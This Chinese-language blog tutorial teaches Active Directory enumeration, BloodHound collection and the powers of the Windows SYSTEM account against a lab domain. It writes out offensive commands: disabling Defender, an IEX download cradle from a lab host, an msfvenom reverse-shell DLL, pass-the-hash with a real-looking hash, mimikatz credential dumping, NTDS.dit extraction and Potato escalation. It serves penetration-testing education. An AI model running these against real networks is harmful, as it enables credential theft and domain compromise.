jeor.mormont   9/7/2025 10:32:57 AM CN=Mormont,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sql_svc        9/7/2025 10:32:59 AM

image

# 找出密碼永不過期且是特權使用者的帳號(高價值目標)
Get-ADUser -Filter {PasswordNeverExpires -eq $true -and adminCount -eq 1} -Properties PasswordNeverExpires, PasswordLastSet |
    Select-Object SamAccountName, PasswordLastSet, Enabled |
    Format-Table -AutoSize

# 輸出
SamAccountName PasswordLastSet      Enabled
-------------- ---------------      -------
Administrator  9/7/2025 8:53:08 AM     True
vagrant        5/12/2021 4:39:16 AM    True
eddard.stark   9/7/2025 10:32:33 AM    True
catelyn.stark  9/7/2025 10:32:36 AM    True
robb.stark     9/7/2025 10:32:38 AM    True

# 不安全範例:
SamAccountName    PasswordLastSet       Enabled
--------------    ---------------       -------
svc-sqlserver     2015-03-15 10:23:45   True    ← 密碼 9 年未變!
admin-legacy      2012-08-01 14:32:11   True    ← 密碼 12 年未變!
svc-backup        2018-11-20 09:15:33   True

image

Quick Win 類型 3:過度寬鬆的 RDP 權限

# 檢查哪些群組可以 RDP 到 DC
Get-ADGroupMember "Remote Desktop Users" | Select-Object Name, SamAccountName

image

# 使用 PowerView 檢查 RDP 存取(更全面)
Import-Module .\PowerView.ps1

Set-MpPreference -DisableRealtimeMonitoring $true
IEX(New-Object Net.WebClient).DownloadString('http://192.168.139.138:8000/PowerView.ps1')


image

# 找出所有有 RDP 權限的使用者/群組
Get-DomainGPOUserLocalGroupMapping -LocalGroup RDP |
    Select-Object ObjectName, GPODisplayName, ComputerName |
    Format-Table -AutoSize

# 檢查特定使用者的 RDP 權限
Get-DomainGPOUserLocalGroupMapping -Identity "current-user" -LocalGroup RDP

真實案例:RDP 權限過度寬鬆

案例 1:所有人都能 RDP 到 Jump Host
├── Domain Users 群組在 JumpHost 的 Remote Desktop Users 中
├── JumpHost 是 IT 管理員的主要工作站
├── 管理員經常在 JumpHost 登入
└── 攻擊路徑:
    1. 任意 Domain User RDP 到 JumpHost
    2. 使用 Mimikatz 等工具提取記憶體中的憑證
    3. 獲得 Domain Admin 的憑證
    4. 完成攻擊

案例 2:Help Desk 可以 RDP 到所有工作站
├── "Help Desk" 群組可以 RDP 到所有 OU=Workstations 的電腦
├── 其中包含高階主管的工作站
├── 高階主管經常連線到敏感系統
└── 攻擊路徑:
    1. 滲透任一 Help Desk 成員帳號
    2. RDP 到 CEO 的工作站
    3. 等待 CEO 登入或從記憶體提取憑證
    4. 使用 CEO 憑證存取敏感資料

Quick Win 類型 4:不當的群組巢狀成員資格


# 查看直接加入的成員(包含使用者和群組)
Get-DomainGroupMember -Identity "Remote Desktop Users" | 
    Select-Object MemberName, MemberObjectClass | 
    Format-Table -AutoSize

# 輸出
MemberName MemberObjectClass
---------- -----------------
Stark      group

# 查看所有成員(展開巢狀群組
Get-DomainGroupMember -Identity "Remote Desktop Users" -Recurse -ErrorAction SilentlyContinue | 
    Where-Object {$_.MemberName -notlike "S-1-5-*"} |
    Select-Object MemberName, MemberDistinguishedName | 
    Sort-Object MemberName -Unique |
    Format-Table -AutoSize
	
# 輸出
MemberName    MemberDistinguishedName
----------    -----------------------
arya.stark    CN=arya.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
brandon.stark CN=brandon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark CN=catelyn.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark  CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
hodor         CN=hodor,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jon.snow      CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
rickon.stark  CN=rickon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
robb.stark    CN=robb.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sansa.stark   CN=sansa.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
Stark         CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local

image

真實案例:巢狀群組造成的權限提升

案例:從 Help Desk 到 Domain Admin

網域群組結構:
Domain Admins
    ├── IT_Managers
    │   ├── Server_Team
    │   │   └── Server_Admins_L2
    │   │       └── Server_Admins_L1
    │   │           └── Help_Desk  ← bob.smith 在這裡
    │   └── Network_Team
    └── Administrator (直接成員)

問題:
- Help_Desk 是 Server_Admins_L1 的成員
- Server_Admins_L1 是 Server_Admins_L2 的成員
- Server_Admins_L2 是 Server_Team 的成員
- Server_Team 是 IT_Managers 的成員
- IT_Managers 是 Domain Admins 的成員

結果:
- Help_Desk 的所有成員實際上都是 Domain Admins!
- 包含 15 個一線 Help Desk 人員
- 他們自己可能都不知道

管理員的原意:
- 只是想讓 Help Desk 能重設一般使用者密碼
- 但錯誤的群組巢狀導致權限過高

檢測方式:
Get-ADGroupMember "Help_Desk" -Recursive
→ 發現 Help_Desk 成員在 Domain Admins 的遞迴成員中

Quick Win 類型 5:AS-REP Roasting 和 Kerberoasting 目標

# 找出不需 Kerberos 預認證的使用者(AS-REP Roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
    Select-Object SamAccountName, DoesNotRequirePreAuth, Enabled |
    Format-Table -AutoSize

SamAccountName DoesNotRequirePreAuth Enabled
-------------- --------------------- -------
brandon.stark                   True    True

# 找出有 SPN 的使用者(Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
    Select-Object SamAccountName, ServicePrincipalName |
    Format-Table -Wrap

SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt         {kadmin/changepw}
sansa.stark    {HTTP/eyrie.north.sevenkingdoms.local}
jon.snow       {CIFS/thewall.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}
sql_svc        {MSSQLSvc/castelblack.north.sevenkingdoms.local, MSSQLSvc/castelblack.north.sevenkingdoms.local:1433}

# 找出有 SPN 且是特權使用者的帳號(高價值目標)
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and adminCount -eq 1} -Properties ServicePrincipalName, adminCount |
    Select-Object SamAccountName, ServicePrincipalName |
    Format-Table -Wrap

SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt         {kadmin/changepw}

# 找出有 SPN 但不在 Protected Users 的帳號
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf |
    Where-Object {$_.MemberOf -notmatch "Protected Users"} |
    Select-Object SamAccountName, ServicePrincipalName |
    Format-Table -Wrap

SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt         {kadmin/changepw}
sansa.stark    {HTTP/eyrie.north.sevenkingdoms.local}
jon.snow       {CIFS/thewall.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}

image

2.3 使用 BloodHound 進行深度分析

BloodHound 是 AD 列舉和攻擊路徑視覺化的終極工具。

收集資料

# 方法 1: 使用 SharpHound (Windows)
# 收集所有資料
.\SharpHound.exe -c All --zipfilename inlanefreight_full.zip

# 只收集特定資訊(更快、更隱蔽)
.\SharpHound.exe -c DCOnly --zipfilename inlanefreight_dc.zip

# 指定網域
.\SharpHound.exe -c All -d inlanefreight.local --zipfilename inlanefreight.zip

# 使用已知憑證
.\SharpHound.exe -c All --LdapUsername user@domain.local --LdapPassword password
# 方法 2: BloodHound Python 收集器 (Linux/Mac 跨平台)


# 收集 north.sevenkingdoms.local 網域資料
bloodhound-python --zip -c All \
    -d north.sevenkingdoms.local \
    -u brandon.stark \
    -p iseedeadpeople \
    -dc winterfell.north.sevenkingdoms.local \
    -ns 192.168.139.11

# 跨網域收集 - sevenkingdoms.local (父網域)
bloodhound-python --zip -c All \
    -d sevenkingdoms.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc kingslanding.sevenkingdoms.local \
    -ns 192.168.139.10

# 跨網域收集 - essos.local (外部信任)
bloodhound-python --zip -c All \
    -d essos.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc meereen.essos.local \
    -ns 192.168.139.12

# 使用 NT Hash 認證 (Pass-the-Hash)
bloodhound-python --zip -c All \
    -d north.sevenkingdoms.local \
    -u 'CASTELBLACK$' \
    --hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
    -dc winterfell.north.sevenkingdoms.local \
    -ns 192.168.139.11

參數說明:

  • --zip:將輸出打包成 ZIP 檔案
  • -c All:收集所有類型的資料
  • -d:目標網域名稱
  • -u:使用者名稱(跨網域時使用 UPN 格式 user@domain
  • -p:明文密碼
  • --hashes:使用 NT Hash 進行 Pass-the-Hash 認證(格式:LM:NT
  • -dc:Domain Controller 主機名稱(FQDN)
  • -ns:DNS 伺服器 IP 位址

重要提示: 跨網域收集時,使用者名稱必須使用 UPN 格式(brandon.stark@north.sevenkingdoms.local),這是跨網域認證的關鍵!

BloodHound 查詢範例

在 BloodHound GUI 中執行的查詢

基礎查詢:
1. 從目前使用者到 Domain Admin 的最短路徑
   - 右鍵點擊自己的使用者節點
   - "Shortest Paths to Domain Admins"

2. 找出所有 Domain Admins
   - 搜尋 "Domain Admins@INLANEFREIGHT.LOCAL"
   - 右鍵 → "List Group Members"

3. 找出有本地管理員權限的使用者
   - 搜尋電腦 → 右鍵 → "Shortest Paths to Here from Owned Principals"

進階查詢(使用 Cypher):

// 找出所有有 DCSync 權限的使用者
MATCH p=(n)-[r:GetChanges|GetChangesAll]->(d:Domain) RETURN p

// 找出可以透過 ACL 提權到 DA 的路徑
MATCH p=shortestPath((n)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl*1..]->(m:Group))
WHERE m.name =~ 'DOMAIN ADMINS.*'
RETURN p

// 找出所有 Kerberoastable 使用者
MATCH (u:User {hasspn:true}) RETURN u

// 找出所有 AS-REP Roastable 使用者
MATCH (u:User {dontreqpreauth:true}) RETURN u

// 找出所有未約束委派的電腦
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

// 找出所有可以讀取 LAPS 密碼的使用者
MATCH p=(n)-[r:ReadLAPSPassword]->(c:Computer) RETURN p

// 找出從特定 OU 到 DA 的所有路徑
MATCH p=shortestPath((o:OU {name:"IT"})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.LOCAL"}))
RETURN p

BloodHound 實戰技巧

技巧 1: 標記已控制的節點
├── 右鍵點擊已控制的使用者/電腦
├── "Mark User as Owned" 或 "Mark Computer as Owned"
└── 重新執行 "Shortest Paths from Owned Principals"
    └── 會顯示從已控制節點到目標的路徑

技巧 2: 分析特定使用者的權限
├── 搜尋使用者
├── 右鍵 → "Outbound Object Control"
├── 查看該使用者可以控制哪些物件
└── 評估是否可以利用

技巧 3: 尋找「孤立」的高權限帳號
├── 執行查詢找出所有 adminCount=1 的使用者
├── 檢查每個使用者到 DA 的路徑
├── 找出「看似無路徑」的帳號
└── 這些帳號可能有非標準的權限設定

技巧 4: 分析群組巢狀
├── 搜尋 "Domain Admins"
├── 右鍵 → "List Group Members" → "Recursive"
├── 展開查看完整的巢狀結構
└── 找出意外的成員資格

技巧 5: 匯出資料進行離線分析
├── 使用 Raw Query 匯出資料
├── MATCH (n:User) RETURN n.name, n.description
├── 複製到 CSV 進行批次分析
└── 使用腳本處理大量資料

第三部分:NT AUTHORITY\SYSTEM 權限深度解析

3.1 理解 SYSTEM 帳號的本質

NT AUTHORITY\SYSTEM(簡稱 SYSTEM)是 Windows 作業系統中最特殊的帳號之一。

SYSTEM 不是一般的使用者帳號

使用者帳號 vs SYSTEM 帳號

一般使用者帳號:
├── 有 SID(Security Identifier)
├── 可以登入(互動式或網路)
├── 有密碼
├── 屬於某些群組
├── 有個人設定檔
└── 可以被停用或刪除

SYSTEM 帳號:
├── 有 SID:S-1-5-18
├── 無法登入(不能從登入畫面登入)
├── 沒有密碼
├── 不是任何群組的成員(但有所有權限)
├── 設定檔在 C:\Windows\System32\config\systemprofile
└── 無法被停用或刪除(系統核心元件)

SYSTEM 的用途:
└── Windows 服務控制管理員(SCM)使用
    ├── 啟動和管理 Windows 服務
    ├── 執行系統層級的任務
    ├── 管理硬體和驅動程式
    └── 執行排程任務(某些情況)

Windows 權限階層

本機系統權限階層(從高到低)

TrustedInstaller
    ↓ (最高權限,可修改系統檔案)
NT AUTHORITY\SYSTEM  ← 本篇重點
    ↓ (最高服務權限)
本地 Administrators 群組成員
    ↓
本地 Power Users 群組成員(已過時)
    ↓
本地 Users 群組成員
    ↓
Guest 帳號

Active Directory 環境中的權限階層

Enterprise Admins(樹系層級)
    ↓
Schema Admins(樹系層級)
    ↓
Domain Admins(網域層級)
    ↓
電腦帳號(例如 WS01$)  ← SYSTEM 在 AD 中等同於此
    ↓
Domain Users(一般使用者)
    ↓
Domain Guests(來賓)

關鍵理解:
SYSTEM 在本機 = 最高權限(略低於 TrustedInstaller)
SYSTEM 在 AD = 電腦帳號 ≈ 一般 Domain User

3.2 SYSTEM 帳號擁有的特權(Privileges)

SYSTEM 帳號擁有幾乎所有的 Windows 特權。這些特權決定了帳號可以執行哪些系統層級的操作。

完整的特權列表與說明

# 從 SYSTEM 執行以下命令查看完整特權
whoami /priv

image

特權名稱 說明 預設狀態 攻擊利用價值
SeAssignPrimaryTokenPrivilege 替換處理程序層級的權杖 Disabled 極高(可用於模擬其他使用者)
SeAuditPrivilege 產生安全性稽核 Enabled 中(可繞過某些稽核機制)
SeBackupPrivilege 備份檔案和目錄 Disabled 極高(可讀取任何檔案,包括 SAM、NTDS.dit)
SeChangeNotifyPrivilege 略過遍歷檢查 Enabled 低(正常功能)
SeCreateGlobalPrivilege 建立全域物件 Enabled 低(正常功能)
SeCreatePagefilePrivilege 建立分頁檔 Enabled 低(正常功能)
SeCreatePermanentPrivilege 建立永久共用物件 Enabled 中(可能用於持久化)
SeCreateTokenPrivilege 建立權杖物件 Disabled 極高(可建立任意權杖)
SeDebugPrivilege 偵錯程式 Enabled 極高(可注入任何 Process ,提取記憶體)
SeImpersonatePrivilege 在認證後模擬使用者端 Enabled 極高(Potato 系列攻擊的核心)
SeIncreaseBasePriorityPrivilege 增加排程優先順序 Enabled 低(可能用於 DoS)
SeIncreaseQuotaPrivilege 調整 Process 的記憶體配額 Disabled 低(可能用於 DoS)
SeLoadDriverPrivilege 載入和卸載裝置驅動程式 Disabled 極高(可載入惡意驅動程式)
SeLockMemoryPrivilege 鎖定記憶體中的分頁 Enabled 低(可能用於 DoS)
SeManageVolumePrivilege 執行磁碟區維護工作 Disabled 高(可修改磁碟結構)
SeProfileSingleProcessPrivilege 分析單一 Process Enabled 低(正常功能)
SeRestorePrivilege 還原檔案和目錄 Disabled 極高(可寫入任何檔案)
SeSecurityPrivilege 管理稽核和安全性記錄檔 Disabled 高(可清除安全日誌)
SeShutdownPrivilege 關閉系統 Disabled 中(DoS)
SeSystemEnvironmentPrivilege 修改韌體環境值 Disabled 極高(可修改 UEFI/BIOS)
SeSystemProfilePrivilege 分析系統效能 Enabled 低(正常功能)
SeSystemtimePrivilege 變更系統時間 Disabled 中(可能影響 Kerberos)
SeTakeOwnershipPrivilege 取得檔案或其他物件的擁有權 Disabled 極高(可取得任何檔案的擁有權)
SeTcbPrivilege 作為作業系統的一部分 Enabled 極高(Trusted Computing Base)
SeUndockPrivilege 從停駐站移除電腦 Disabled 低(硬體相關)

關鍵特權詳細說明

1. SeDebugPrivilege(偵錯特權)

能力:可以開啟和操作任何 Process 的記憶體

攻擊利用:
├── 使用 Mimikatz 從 LSASS 提取憑證
├── 注入程式碼到任何 Process 
├── 讀取其他 Process 的記憶體
└── 繞過大多數使用者模式的保護機制

範例:
# 有 SeDebugPrivilege 才能做到
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

沒有這個特權,Mimikatz 會失敗。

2. SeBackupPrivilege(備份特權)

能力:可以讀取任何檔案,無視 ACL 權限

攻擊利用:
├── 複製 SAM、SYSTEM、SECURITY registry hives
├── 複製 NTDS.dit(網域資料庫)
├── 讀取敏感的設定檔案
└── 繞過檔案系統權限

實戰案例:提取 DC 的 NTDS.dit

方法 1: 使用 diskshadow
# 建立 shadow copy
diskshadow
> set context persistent nowriters
> add volume c: alias someAlias
> create
> expose %someAlias% z:
> exit

# 複製檔案(需要 SeBackupPrivilege)
robocopy /b z:\Windows\NTDS . ntds.dit
robocopy /b z:\Windows\System32\config . SYSTEM

方法 2: 使用 wbadmin
wbadmin start backup -backupTarget:e: -include:c:\windows\ntds

方法 3: 使用 vssadmin
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

3. SeRestorePrivilege(還原特權)

能力:可以寫入任何檔案,無視 ACL 權限

攻擊利用:
├── 覆寫系統檔案
├── 修改 SAM/SYSTEM registry
├── 植入惡意 DLL 到系統目錄
└── 修改服務的執行檔

範例:利用 SeRestorePrivilege 提權

# 1. 建立惡意 DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll > evil.dll

# 2. 使用 SeRestorePrivilege 覆寫合法的系統 DLL
# (需要特殊工具或技術)

4. SeImpersonatePrivilege(模擬特權)

能力:在認證後可以模擬其他使用者的身份

攻擊利用:
├── Potato 系列攻擊(RottenPotato, JuicyPotato, PrintSpoofer)
├── 從低權限服務帳號提權到 SYSTEM
├── Token 模擬攻擊
└── 這是最常被利用的特權之一

實戰:從 IIS 服務帳號提權到 SYSTEM

# 檢查目前特權
whoami /priv
# 確認有 SeImpersonatePrivilege

# 使用 PrintSpoofer(Windows 10/Server 2016+)
PrintSpoofer.exe -i -c cmd.exe

# 使用 JuicyPotato(Windows 7/8/Server 2008/2012/2016)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

執行後:
C:\> whoami
nt authority\system

5. SeLoadDriverPrivilege(載入驅動程式特權)

能力:可以載入和卸載 kernel-mode 驅動程式

攻擊利用:
├── 載入惡意驅動程式
├── 繞過 kernel-mode 保護
├── 停用安全產品
└── 直接操作記憶體和硬體

這是高級攻擊技術,通常用於:
- 繞過 PatchGuard
- 繞過 Driver Signature Enforcement
- Rootkit 安裝

6. SeTcbPrivilege(Trusted Computing Base 特權)

能力:作為作業系統的一部分運作

這是最強大的特權之一,表示:
├── 完全被 OS 信任
├── 可以執行任何系統層級的操作
├── 可以建立 Process 為其他使用者
└── 可以驗證使用者身份

只有 SYSTEM 和少數關鍵服務有此特權。

對比:一般 Domain User 的特權

# 從一般 Domain User 執行
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

# 只有 2 個特權,且都是基本功能
# 無法進行任何系統層級的操作

3.3 SYSTEM 在 Active Directory 環境中的特殊能力

這是理解 SYSTEM 價值的關鍵:在 AD 環境中,SYSTEM 可以扮演電腦帳號的角色。

核心概念:電腦帳號也是網域物件

AD 中的電腦帳號

每台 domain-joined 的電腦都有一個對應的電腦帳號:
├── 儲存在 Active Directory 中
├── 是 User 類別的特殊實例
├── 帳號名稱以 $ 結尾(例如:WS01$)
├── 有自己的密碼(由系統自動管理,定期更換)
├── 可以進行 Kerberos 認證
└── 是 Domain Computers 群組的成員

電腦帳號的屬性:
ObjectClass            : computer
SamAccountName         : WS01$
DistinguishedName      : CN=WS01,OU=Workstations,DC=inlanefreight,DC=local
PrimaryGroupID         : 515  (Domain Computers)
UserAccountControl     : WORKSTATION_TRUST_ACCOUNT
ServicePrincipalName   : HOST/WS01, RestrictedKrbHost/WS01, ...

關鍵理解:
電腦帳號 = 特殊的使用者帳號
└── 有認證能力
    └── 可以查詢 AD
        └── 可以存取網路資源(如果有權限)

SYSTEM 如何扮演電腦帳號?

認證機制

本機操作:
使用者登入 → 使用自己的憑證

服務執行(以 SYSTEM)→ 本機操作 → 使用 SYSTEM 權限

網路操作:
使用者透過網路存取 → 使用自己的憑證

服務(以 SYSTEM)透過網路存取 → 使用電腦帳號的憑證

實際過程:
1. SYSTEM  Process 需要存取網路資源(如 AD)
2. Windows 自動使用本機電腦的 Kerberos TGT
3. 以電腦帳號(WS01$)的身份進行認證
4. 從 AD 的角度,這是 WS01$ 在查詢資料

這就是為什麼從 SYSTEM 可以列舉 AD!

SYSTEM 在 AD 中可以做什麼?

可以執行的操作(以電腦帳號身份)

讀取權限(預設允許):
├── 列舉所有網域使用者
├── 列舉所有網域群組
├── 列舉所有網域電腦
├── 讀取大部分 AD 物件的屬性
├── 讀取 GPO 設定
└── 查詢 DNS 記錄

有限制的操作:
├── 不能修改大部分物件(除非特別授權)
├── 不能重設使用者密碼
├── 不能修改群組成員
└── 不能建立新物件

特殊情況(如果電腦帳號被授予特殊權限):
├── 某些環境中,電腦帳號可能有過度權限
├── 例如:某些 OU 的 CREATOR OWNER 包含 Domain Computers
└── 或管理員錯誤設定 ACL

攻擊技術(從 SYSTEM 執行):
├── BloodHound 資料收集
├── AS-REP Roasting
├── Kerberoasting(有限制,見下方)
├├── Kerberoasting(有限制,見下方)
├── LLMNR/NBT-NS 投毒
├── SMB Relay 攻擊
├── 網路封包擷取
└── Token 模擬(如果有特權使用者登入過)

SYSTEM 的限制:無法進行的操作

主要限制

  1. 跨網域信任的 Kerberos 操作
    • 電腦帳號通常無法跨信任獲取票證
    • 無法對信任的其他網域進行 Kerberoasting
    • 這需要「真實」的使用者帳號
  2. Kerberoasting 的限制
    • 電腦帳號可以請求服務票證
    • 但某些 SPN 可能限制只有使用者帳號能請求
    • 成功率低於使用真實使用者帳號
  3. 某些應用程式的 SSO
    • 很多應用程式檢查是否為「使用者」帳號
    • 電腦帳號可能被拒絕存取
    • 例如:某些 Web 應用、VPN、Email
  4. 特定的 ACL 排除
    • 某些 ACL 可能明確排除 Domain Computers 群組
    • 例如:敏感 OU 的讀取權限
    • 或某些 GPO 的套用範圍
  5. 使用者相關的操作
    • 無法登入需要互動式登入的系統
    • 無法使用需要使用者憑證的服務
    • 例如:Outlook Web Access, SharePoint 等

實際測試:SYSTEM 在 AD 中的能力

# 情境:你已經在 WS01 上獲得 SYSTEM 權限

# 測試 1: 確認目前身份
whoami
# 輸出:nt authority\system

# 測試 2: 使用 PowerView 列舉(以電腦帳號身份)
Import-Module .\PowerView.ps1

# 列舉網域使用者
Get-DomainUser | Select-Object samaccountname | Measure-Object
# 輸出:Count: 2547
# 成功!以 WS01$ 的身份查詢

# 測試 3: 列舉網域管理員
Get-DomainGroupMember "Domain Admins"
# 輸出:顯示所有 DA 成員
# 成功!

# 測試 4: 檢查自己的群組成員資格
# 模擬電腦帳號查詢
$computerName = $env:COMPUTERNAME
Get-ADComputer $computerName -Properties MemberOf | Select-Object -ExpandProperty MemberOf
# 輸出:CN=Domain Computers,CN=Users,DC=inlanefreight,DC=local

# 測試 5: 嘗試修改使用者(會失敗)
Set-ADUser -Identity bob.smith -Description "test"
# 輸出:Access Denied
# 失敗,因為電腦帳號沒有修改權限

# 測試 6: 執行 BloodHound 收集
.\SharpHound.exe -c All --zipfilename from_system.zip
# 成功!收集到完整的 AD 資料

3.4 SYSTEM vs 其他權限等級的對比

完整的權限比較表

操作類型 Guest Domain User Local Admin Domain Admin SYSTEM (本機) SYSTEM (AD)
本機檔案存取 有限 使用者目錄 所有檔案 所有檔案 所有檔案 所有檔案
修改系統設定
安裝軟體
讀取 SAM/NTDS 是(如在 DC)
提取 LSASS 記憶體
列舉 AD 使用者 有限 是(以電腦帳號) 是(以電腦帳號)
修改 AD 物件 有限 有限 否(除非特別授權) 否(除非特別授權)
重設使用者密碼
執行 DCSync
載入驅動程式
偵錯任何 Process 有限
跨網域攻擊 有限 有限

重要觀察

  1. SYSTEM 的雙重性質
    • 在本機:幾乎無所不能
    • 在 AD:約等於低權限使用者
  2. Local Admin vs SYSTEM
    • 大部分操作相同
    • SYSTEM 有更多特權(如 SeTcbPrivilege)
    • SYSTEM 不受 UAC 限制
  3. SYSTEM vs Domain Admin
    • 本機控制:SYSTEM >= Domain Admin
    • AD 控制:SYSTEM << Domain Admin
    • 跨主機能力:SYSTEM < Domain Admin
  4. 為什麼 SYSTEM 仍然有價值?
    • 完全控制本機系統
    • 可以提取本機儲存的所有憑證
    • 可以作為跳板進行網路攻擊
    • 可以模擬登入過的使用者
    • 可以列舉 AD 尋找下一步攻擊路徑

小試身手

第 1 題

在 Active Directory 環境中,關於列舉(Enumeration)的敘述,下列何者正確?

A. 列舉只需要在滲透測試初期執行一次即可
B. 列舉主要用於發現未修補的技術漏洞
C. 設定錯誤比技術漏洞更常見且容易被列舉發現
D. 沒有取得網域使用者憑證就無法進行任何列舉

答案:C

解析:

  • A 錯誤:列舉是持續迭代的過程,每次取得新權限或新憑證後都應該重新列舉,以發現新的攻擊路徑。
  • B 錯誤:列舉主要用於發現設定錯誤而非技術漏洞。根據文件統計,真實世界約 60% 的安全問題來自設定錯誤,只有 20% 來自技術漏洞。
  • C 正確:設定錯誤(如密碼寫在描述欄位、過度寬鬆的群組成員資格、不當的委派設定等)在企業環境中極為常見,且透過列舉容易發現。
  • D 錯誤:即使沒有憑證,仍可透過 LDAP NULL Bind、DNS 查詢、SMB NULL Session 等方式進行初步列舉。

第 2 題

關於 NT AUTHORITY\SYSTEM 帳號在 Active Directory 環境中的特性,下列敘述何者錯誤?

A. SYSTEM 在本機擁有幾乎所有的 Windows 特權
B. SYSTEM 透過網路存取 AD 時會以電腦帳號(如 WS01$)的身份進行認證
C. SYSTEM 可以直接執行 DCSync 攻擊取得所有網域使用者的密碼雜湊
D. SYSTEM 可以使用 BloodHound 收集完整的 AD 資料

答案:C

解析:

  • A 正確:SYSTEM 擁有包括 SeDebugPrivilege、SeBackupPrivilege、SeImpersonatePrivilege 等在內的幾乎所有特權。
  • B 正確:當 SYSTEM Process 需要存取網路資源(如查詢 AD)時,Windows 會自動使用本機電腦的 Kerberos TGT,以電腦帳號身份進行認證。
  • C 錯誤:DCSync 攻擊需要特定的 AD 權限(GetChanges 和 GetChangesAll),一般電腦帳號並不具備這些權限。只有 Domain Admins、Enterprise Admins 或被特別授予複寫權限的帳號才能執行 DCSync。
  • D 正確:SYSTEM 可以以電腦帳號身份查詢 AD,因此可以執行 SharpHound 或 BloodHound.py 收集 AD 資料。

上一篇
AD 攻防實戰演練 Day 22:跨森林與跨域信任攻擊實戰演練
系列文
資安這條路:AD 攻防實戰演練23
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言